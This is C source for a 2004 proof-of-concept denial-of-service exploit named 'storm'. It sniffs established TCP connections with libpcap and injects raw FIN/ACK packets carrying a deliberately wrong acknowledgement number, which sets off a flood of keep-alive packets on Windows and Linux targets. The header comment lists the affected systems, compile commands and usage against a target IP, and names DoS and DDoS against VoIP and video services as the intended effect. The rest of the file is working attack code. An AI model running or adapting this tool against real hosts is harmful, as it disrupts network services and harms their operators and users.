/* * Proof of Concept for exploiting the TCP Keep Alive implementation * 2004/12/13 * * Antonio M. D. S. Fortes - antoniofortes@inatel.br * Diego Prota Casati - diego-casati@inatel.br * Leandro Spinola Rodrigues - leandro-rodrigues@inatel.br * * Tested on: * Windows 98 SE * Windows NT Server 4.0 * Windows 2000 Professional * Windows 2000 Server * Windows 2003 Server * Windows XP Professional Service Pack 1 * Windows XP Professional Service Pack 2 * Linux 2.4.x * * Linux 2.6.x: * It wasnt tested but there is a probability that it will also work * on it. * * Compile: * gcc -lpcap storm.c -o storm [FreeBSD] * gcc -D LINUX storm.c -lpcap -o storm [Linux] * * * * How to use: * ./storm Device TargetHost [Count] [Filter] * * Linux systems may need to get a copy of srtlcpy and strlcat which can be downloaded from the * OpenBSD website (www.openbsd.org) * * Example: * ./storm rl0 192.168.10.13 1 'dst port 80' * * where [Count] stands for how many injected packets should be sent to * the host machine and [Filter] is the filter rules of the libpcap, * take a look in the tcpdump man pages for some enlightments. * * Description: * This bug appeared during a few experimentations with the TCP/IP stack * after which we found out that it was not, at least it is not of our * knowledge, found anywhere else before. That was actually a Solaris bug * that resembles this one. * * After an established connection, a specially crafted packet with the * ACK/FIN flags set, a corrected Sequency Number but with an incorrected * Acknowledge Number will trigger a massive flush of packages with zero * size and only the ACK flag set. Ethereal logs showed that the keep * alive state was occuring and this flow kept going for approximately 3 * minutes and a few million packets. It was clearly observed that CPU * and network performance was severed decreased due to this misbehave. * * Potential attacks includes DoS and DDoS. Applications and services * that depends on quality of services (QoS) such as H323 applications * (VoIP) and video streamming will suffer dramatic performance * downgrade. * * Thanks to: * Luiz Gustavo Torquato Vilela - aka "Neco" - for letting us run few tests on his labs being such a reference * Everson da Silva Tavares - aka "ipfix" - for doing the Linux compatibility * Rodrigo Rubira Branco - aka "BSDaemon" - for fixing some errors * Alex Marcio Ribeiro Nunes - aka Sefer_Zohar - for being a mentor * Flavio Neri Rodrigues - for giving us the basics of TCP/IP that we needed * * References: * RFC 793 - Transmission control protocol * RFC 1122 - Requirements for Internet Hosts - Communication Layers * */ #ifdef LINUX #define _BSD_SOURCE #endif #include #include #include #include #include #include #ifndef LINUX #include #else #include #endif #include #include #include #include #include #include u_short StormCount, StormPosition = 0; in_addr_t TargetAddress; // Packet list u_short PacketCount = 0; #define PACKETS_MAX_COUNT 32 struct tcp_packet { in_addr_t Source, Destination; u_short SourcePort, DestinationPort; u_short Length; uint32_t Acknowledge, Sequence; u_short Window; u_char Flags; struct tcp_packet *NextPacket; } *PacketList = NULL; // Function Prototypes in_addr_t ResolveHost(char *Host); u_short TCPCheckSum(in_addr_t Source, in_addr_t Destination, struct tcphdr *TCP); struct tcp_packet *AddPacket(in_addr_t Source, in_addr_t Destination, u_short SourcePort, u_short DestinationPort, struct tcp_packet *Packet); void DeletePacket(struct tcp_packet *Packet); struct tcp_packet *FindPacket(in_addr_t Source, in_addr_t Destination, u_short SourcePort, u_short DestinationPort); bool SendTCP(in_addr_t Source, in_addr_t Destination, u_short SourcePort, u_short DestinationPort, uint32_t Acknowledge, uint32_t Sequence, u_short Window, u_short Flags); void PCapHandler(u_char *args, const struct pcap_pkthdr *pkthdr, const u_char *packet); int main(int argc, void **argv) { // Length of each packet to capture const unsigned int PACKET_CAPTURE_LENGTH = sizeof(struct ether_header) + sizeof(struct ip) + sizeof(struct tcphdr); char Device[16], TargetHost[128], Filter[512]; bpf_u_int32 NetAddress, NetMask; char PCapError[PCAP_ERRBUF_SIZE]; pcap_t *Descriptor; char CompleteFilter[1024]; struct bpf_program Program; u_char *PCapNullArgs = NULL; if (argc < 3) { printf("Usage: %s Device TargetHost [Count] [Filter]\n", argv[0]); exit(1); } #ifndef LINUX strlcpy(Device, argv[1], sizeof(Device)); strlcpy(TargetHost, argv[2], sizeof(TargetHost)); #else strncpy(Device, argv[1], sizeof(Device)); strncpy(TargetHost, argv[2], sizeof(TargetHost)); #endif TargetAddress = ResolveHost(TargetHost); // Getting network address and mask of the interface if (pcap_lookupnet(Device, &NetAddress, &NetMask, PCapError) == -1) { printf("pcap_lookupnet: %s\n", PCapError); printf("Error looking up network address and mask to device %s\n", Device); exit(1); } if (argc >= 4) StormCount = atoi(argv[3]); else StormCount = 0; if (argc >= 5) #ifndef LINUX strlcpy(Filter, argv[4], sizeof(Filter)); #else strncpy(Filter, argv[4], sizeof(Filter)); #endif else snprintf(Filter, sizeof(Filter), "net %s mask %d.%d.%d.%d", inet_ntoa(*((struct in_addr *) &NetAddress)), ((u_char *) &NetMask)[0], ((u_char *) &NetMask)[1], ((u_char *) &NetMask)[2],((u_char *) &NetMask)[3]); // Obtaining a descriptor to look at packets on the network // Putting the interface in promiscuous mode Descriptor = pcap_open_live(Device, PACKET_CAPTURE_LENGTH, true, 1, PCapError);; if (Descriptor == NULL) { printf("pcap_open_live: %s\n", PCapError); printf("Error obtaining a descriptor to look at packets on the network.\n"); exit(1); } // Creating the filter string snprintf(CompleteFilter, sizeof(CompleteFilter), "tcp and (%s)", Filter); printf("Filter: %s\n", CompleteFilter); // Compiling the filter if (pcap_compile(Descriptor, &Program, CompleteFilter, false,NetMask) == -1) { printf("pcap_compile: %s\n", pcap_geterr(Descriptor)); printf("Filter: %s\n", Filter); printf("Error compiling the filter.\n"); exit(1); } // Set the filter to the descriptor if (pcap_setfilter(Descriptor, &Program) == -1) { printf("pcap_setfilter: %s\n", pcap_geterr(Descriptor)); printf("Error setting the filter.\n"); exit(1); } // Main loop printf("Looking for an established tcp connection with %s ...\n", TargetHost); while (StormCount == 0 || StormPosition < StormCount) pcap_loop(Descriptor, 1, PCapHandler, PCapNullArgs); // The End printf("Finished!!!\n"); return 0; } // Get the address of the host in_addr_t ResolveHost(char *Host) { in_addr_t Address = 0; struct hostent *HostEntity; if (strstr(".", Host) != NULL) inet_aton(Host, (struct in_addr *) &Address); else { HostEntity = gethostbyname(Host); if (HostEntity != NULL) memcpy(&Address, HostEntity->h_addr, sizeof(in_addr_t)); } return Address; } // Calculate a TCP packet checksum u_short TCPCheckSum(in_addr_t Source, in_addr_t Destination, struct tcphdr *TCP) { int CheckSum = 0; ushort Length = 2 * sizeof(in_addr_t) + sizeof(struct tcphdr); u_char *Packet = (u_char *) malloc(Length); u_short Index = 0; u_short *Buffer = (u_short *) Packet; uint16_t HeaderLength = htons(sizeof(struct tcphdr)); if (Packet != NULL) { // Filling a temporary buffer to calculate the checksum memcpy(&Packet[Index], &Source, sizeof(Source)); Index += sizeof(Source); memcpy(&Packet[Index], &Destination, sizeof(Destination)); Index += sizeof(Destination); memcpy(&Packet[Index], TCP, sizeof(struct tcphdr)); while (Length > 1) { CheckSum += *Buffer++; Length -= 2; } CheckSum += ntohs(IPPROTO_TCP + sizeof(struct tcphdr)); if (Length == 1) CheckSum += *((u_char *) Buffer); CheckSum = (CheckSum >> 16) + (CheckSum & 0xffff); CheckSum = (~(CheckSum + (CheckSum >> 16)) & 0xffff); free(Packet); } return CheckSum; } // Add a packet to the packet list struct tcp_packet *AddPacket(in_addr_t Source, in_addr_t Destination, u_short SourcePort, u_short DestinationPort, struct tcp_packet *Packet) { if (Packet == NULL) { if (PacketCount == 0) { PacketList = (struct tcp_packet *) malloc(sizeof(struct tcp_packet)); PacketList->NextPacket = NULL; Packet = PacketList; PacketCount++; } else if (PacketCount < PACKETS_MAX_COUNT) { Packet = PacketList; while (Packet->NextPacket != NULL) Packet = Packet->NextPacket; Packet->NextPacket = (struct tcp_packet *) malloc(sizeof(struct tcp_packet)); Packet = Packet->NextPacket; Packet->NextPacket = NULL; PacketCount++; } else { Packet = PacketList; while (Packet->NextPacket != NULL) Packet = Packet->NextPacket; Packet->NextPacket = PacketList; PacketList = PacketList->NextPacket; Packet->NextPacket->NextPacket = NULL; } } if (Packet != NULL) { Packet->Source = Source; Packet->Destination = Destination; Packet->SourcePort = SourcePort; Packet->DestinationPort = DestinationPort; Packet->Length = 0; Packet->Acknowledge = 0; Packet->Sequence = 0; Packet->Window = 0; Packet->Flags = 0; } return Packet; } // Delete a packet from the packet list void DeletePacket(struct tcp_packet *Packet) { struct tcp_packet *CurrentPacket = PacketList; if (Packet != NULL && PacketCount > 0) { // Check for the first packet of the list if (Packet == PacketList) { PacketList = PacketList->NextPacket; free(Packet); PacketCount--; } else { // Try to find the packet in the list while (CurrentPacket->NextPacket != Packet && CurrentPacket->NextPacket != NULL) CurrentPacket = CurrentPacket->NextPacket; if (CurrentPacket->NextPacket != NULL) { CurrentPacket->NextPacket = CurrentPacket->NextPacket->NextPacket; free(Packet); PacketCount--; } } } } // Search a packet that matches with source and destination addresses and ports struct tcp_packet *FindPacket(in_addr_t Source, in_addr_t Destination, u_short SourcePort, u_short DestinationPort) { struct tcp_packet *PacketFound = NULL, *Packet = PacketList; u_short Index; for (Index = 0; Index < PacketCount; Index++) { if (Source == Packet->Source && Destination == Packet->Destination && SourcePort == Packet->SourcePort && DestinationPort == Packet->DestinationPort) { PacketFound = Packet; break; } Packet = Packet->NextPacket; } return PacketFound; } // Send a TCP packet bool SendTCP(in_addr_t Source, in_addr_t Destination, u_short SourcePort, u_short DestinationPort, uint32_t Acknowledge, uint32_t Sequence, u_short Window, u_short Flags) { bool Sent = false; int Socket; struct sockaddr_in SocketAddress; int On = 1; char Packet[sizeof(struct ip) + sizeof(struct tcphdr)]; struct ip *IP = (struct ip *) &Packet[0]; struct tcphdr *TCP = (struct tcphdr *) &Packet[sizeof(struct ip)]; // Try to create a raw socket Socket = socket(AF_INET, SOCK_RAW, IPPROTO_IP); if (Socket < 0) return false; // Configure the socket if(setsockopt(Socket, IPPROTO_IP, IP_HDRINCL, (char *) &On, sizeof(On)) < 0) { close(Socket); return false; } // Configure the socket address memset(&SocketAddress, 0, sizeof(SocketAddress)); #ifndef LINUX SocketAddress.sin_len = sizeof(Packet); #endif SocketAddress.sin_family = AF_INET; SocketAddress.sin_port = DestinationPort; SocketAddress.sin_addr.s_addr = Destination; // Fill the packet memset(Packet, 0, sizeof(Packet)); IP->ip_hl = sizeof(struct ip) >> 2; IP->ip_v = 4; IP->ip_len = sizeof(Packet); IP->ip_ttl = 64; IP->ip_p = IPPROTO_TCP; IP->ip_src.s_addr = Source; IP->ip_dst.s_addr = Destination; TCP->th_sport = SourcePort; TCP->th_dport = DestinationPort; TCP->th_ack = Acknowledge; TCP->th_seq = Sequence; TCP->th_off = sizeof(struct tcphdr) >> 2; #if BYTE_ORDER == LITLE_ENDIAN TCP->th_off = TCP->th_off << 4; #endif TCP->th_flags = Flags; TCP->th_win = Window; TCP->th_sum = TCPCheckSum(Source, Destination, TCP); // Try to send the packet Sent = sendto(Socket, Packet, sizeof(Packet), 0, (const struct sockaddr *) &SocketAddress, sizeof(SocketAddress)) == sizeof(Packet); if (!Sent) { printf("Error sending packet to %s ...\n", inet_ntoa(*((struct in_addr *) &Destination))); } close(Socket); return Sent; } // Packet Capture handler void PCapHandler(u_char *args, const struct pcap_pkthdr *pkthdr, const u_char *packet) { struct ip *IP = (struct ip *) &packet[sizeof(struct ether_header)]; struct tcphdr *TCP = (struct tcpheader *) &packet[sizeof(struct ether_header) + sizeof(struct ip)]; char Source[16], Destination[16]; u_short Length; struct tcp_packet *Packet, *PreviousPacket, *TargetPacket, *ReturnPacket; bool DeletePackets = false, KeepAlive = false, StormSent = false; char PacketType[32]; #ifndef LINUX strlcpy(PacketType, ". . . . . .", sizeof(PacketType)); // Getting the Source and Destination ASCII strings strlcpy(Source, (char *) inet_ntoa(IP->ip_src), sizeof(Source)); strlcpy(Destination, (char *) inet_ntoa(IP->ip_dst), sizeof(Destination)); #else strncpy(PacketType, ". . . . . .", sizeof(PacketType)); // Getting the Source and Destination ASCII strings strncpy(Source, (char *) inet_ntoa(IP->ip_src), sizeof(Source)); strncpy(Destination, (char *) inet_ntoa(IP->ip_dst), sizeof(Destination)); #endif // Length of the TCP data Length = pkthdr->len - sizeof(struct ether_header) - sizeof(struct ip) - (TCP->th_off << 2); // Search for a packet in the list, with the same source, destination, // source port and destination port of the packet received Packet = FindPacket(IP->ip_src.s_addr, IP->ip_dst.s_addr, TCP->th_sport, TCP->th_dport); PreviousPacket = FindPacket(IP->ip_dst.s_addr, IP->ip_src.s_addr, TCP->th_dport, TCP->th_sport); // Check for flags in an established connection if ((TCP->th_flags & TH_ACK) && !(TCP->th_flags & (TH_FIN | TH_RST))) { // Add the packet to the list Packet = AddPacket(IP->ip_src.s_addr, IP->ip_dst.s_addr, TCP->th_sport, TCP->th_dport, Packet); // Fill important data in the packet added // The TCP header size includes the size of the TCP options Packet->Length = Length; Packet->Acknowledge = TCP->th_ack; Packet->Sequence = TCP->th_seq; Packet->Window = TCP->th_win; Packet->Flags = TCP->th_flags; if (PreviousPacket != NULL) { // Check if the packet is a keep alive one KeepAlive = (Packet->Flags == TH_ACK) && (Packet->Length == 0) && (PreviousPacket->Flags == TH_ACK) && (PreviousPacket->Length == 0); // Check target address again (Possible invalid filter) if (!KeepAlive && (Packet->Destination == TargetAddress || PreviousPacket->Destination == TargetAddress)) { // Established connection detected #ifndef LINUX strlcpy(PacketType, "Established", sizeof(PacketType)); #else strncpy(PacketType, "Established", sizeof(PacketType)); #endif // Point TargetPacket to the packet that has // destination matching with target address, // and ReturnPacket to the other if (Packet->Destination == TargetAddress) { TargetPacket = Packet; ReturnPacket = PreviousPacket; } else { TargetPacket = PreviousPacket; ReturnPacket = Packet; } // Send the malicious TCP packet to start the // storm; // The Acknowledge Number is guaranteed to // be less or equal to the expected Acknowledge // Number minus 1 (This is what we want! ;) ) StormSent = SendTCP(TargetPacket->Source, TargetPacket->Destination, TargetPacket->SourcePort, TargetPacket->DestinationPort, htonl(ntohl(TargetPacket->Acknowledge) - 1), htonl(ntohl(ReturnPacket->Acknowledge) + (TargetPacket->Flags & TH_SYN) / TH_SYN), TargetPacket->Window, TH_FIN | TH_ACK); } } } else { DeletePackets = true; #ifndef LINUX strlcpy(PacketType, "Closed.....", sizeof(PacketType)); #else strncpy(PacketType, "Closed.....", sizeof(PacketType)); #endif } // Print some information of the packet received if (!KeepAlive) printf("%s: [Length: %d] %s.%d %s.%d\n", PacketType, Length, Source, ntohs(TCP->th_sport), Destination, ntohs(TCP->th_dport)); if (StormSent) { StormPosition++; printf("** STORM **: [Packet %d] Sent to %s.%d\n", StormPosition, inet_ntoa(*((struct in_addr *) &TargetPacket->Destination)), ntohs(TargetPacket->DestinationPort)); } if (DeletePackets) { // Delete this packet (if it is in the list) and a possible // previous packet, in the oposite way DeletePacket(Packet); DeletePacket(PreviousPacket); } }